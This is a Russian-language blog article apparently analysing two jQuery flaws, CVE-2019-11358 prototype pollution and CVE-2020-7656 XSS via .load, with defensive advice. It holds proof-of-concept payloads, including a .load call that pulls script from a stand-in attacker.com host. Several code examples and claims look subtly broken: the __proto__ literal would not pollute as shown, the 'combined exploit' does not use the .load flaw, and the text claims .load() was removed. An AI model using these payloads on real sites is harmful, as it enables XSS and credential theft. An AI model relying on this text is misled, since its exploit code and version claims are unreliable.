Prototype Pollution и XSS
Prototype Pollution и XSS
Категория: Программы Теги: Уязвимости Опубликовано: 10 апреля 2025

Уязвимости BDU:2019-04254 и BDU:2023-07536 в jQuery

Уязвимость BDU:2019-04254 (CVE-2019-11358) prototype pollution в jQuery версий до 3.4.0. Функция jQuery.extend(true, {}, ...) некорректно обрабатывает объекты, содержащие свойство __proto__, что позволяет злоумышленнику изменить прототип объекта Object. Если несанкционированный исходный объект содержит перечисляемое свойство __proto__, он может расширить собственный Object.prototype.
Воздействие: Атакующий может внедрить вредоносные свойства в прототип Object, что может привести к XSS-атакам или другим нежелательным последствиям в приложениях, использующих jQuery.
Затронутые версии: jQuery до версии 3.4.0, а также продукты, использующие уязвимые версии jQuery, такие как Drupal и Backdrop CMS.

Уязвимость BDU:2023-07536 (CVE-2020-7656) Cross-site Scripting (XSS) в jQuery версий до 1.9.0. Метод load не распознает и не удаляет HTML-теги <script>, содержащие пробельный символ, например: </script >, что приводит к выполнению заключенной в них логики скрипта.
Воздействие: Атакующий может внедрить вредоносный JavaScript-код на веб-страницу, что может привести к краже учетных данных, перенаправлению на вредоносные сайты или другим нежелательным последствиям.
Затронутые продукты: jQuery до версии 1.9.0.


Технический анализ уязвимостей

1. BDU:2019-04254: Prototype Pollution через $.extend

Механизм:
Функция $.extend(true, target, src) рекурсивно копирует свойства из src в target. Если src содержит свойство __proto__, оно модифицирует прототип базового объекта JavaScript, что позволяет:

  • Добавлять/перезаписывать свойства всех объектов приложения.

  • Внедрять XSS через изменение DOM-элементов (например, innerHTML).

Пример эксплойта:

const maliciousParams = {  
  __proto__: {  
    backLink: "<svg onload=alert('XSS via Prototype Pollution')>"  
  }  
};  
$.extend(true, {}, maliciousParams); // Загрязнение прототипа Object.prototype  

После этого все новые объекты получат свойство backLink с вредоносным SVG.

2. BDU:2023-07536: XSS через метод .load()

Механизм:
Метод .load(url) динамически загружает HTML-контент и вставляет его в DOM. Если ответ содержит теги <script>, jQuery выполняет их содержимое, что позволяет внедрить произвольный JavaScript.

Пример эксплойта:

$('body').load('https://attacker.com/malicious.html');  
// malicious.html: <script>alert('XSS via .load()')</script>  

Разбор эксплойта из общего доступа

Эксплойт объединяет обе уязвимости для двойной X-атаки:

  1. Подключение уязвимой версии jQuery:

    const script = document.createElement('script');  
    script.src = "https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js";  
  2. Эксплуатация BDU:2023-07536:

    $('body').append("<script>alert('XSS via .load()')</script>");  

    jQuery выполняет скрипт сразу после вставки в DOM.

  3. Эксплуатация BDU:2019-04254:

    $.extend(true, config, { __proto__: { backLink: "<svg onload=alert('XSS')>" } });  

    Загрязнение прототипа приводит к XSS при рендеринге config.backLink.


Способы защиты

1. Обновите jQuery

  • Для BDU:2019-04254: версии ≥3.4.0 (фикс: проверка __proto__).

  • Для BDU:2023-07536: версии ≥1.9.0 (метод .load() удалён, используйте .ajax()).

2. Санитизация данных

  • Используйте DOMPurify для очистки HTML перед вставкой в DOM:

    import DOMPurify from 'dompurify';  
    $('#element').html(DOMPurify.sanitize(untrustedHTML));  

3. Content Security Policy (CSP)

Настройте заголовок CSP для блокировки inline-скриптов:

Content-Security-Policy: script-src 'self' https://trusted-cdn.com;  

4. Замена опасных методов

  • Вместо .load() используйте .ajax() с явным указанием типа данных:

    $.ajax({  
      url: 'data.html',  
      dataType: 'html',  
      success: (data) => $('#element').text(data) // Без выполнения скриптов  
    });  

5. Заморозка прототипа

Заблокируйте модификацию Object.prototype в критических приложениях:

Object.freeze(Object.prototype);  

Рекомендации для разработчиков

  • Регулярно обновляйте зависимости: Используйте npm audit или Snyk для мониторинга уязвимостей.

  • Минимизируйте использование jQuery: Переходите на современные фреймворки (React, Vue), где XSS-риски ниже.

Алексей Черемных Алексей Черемных
61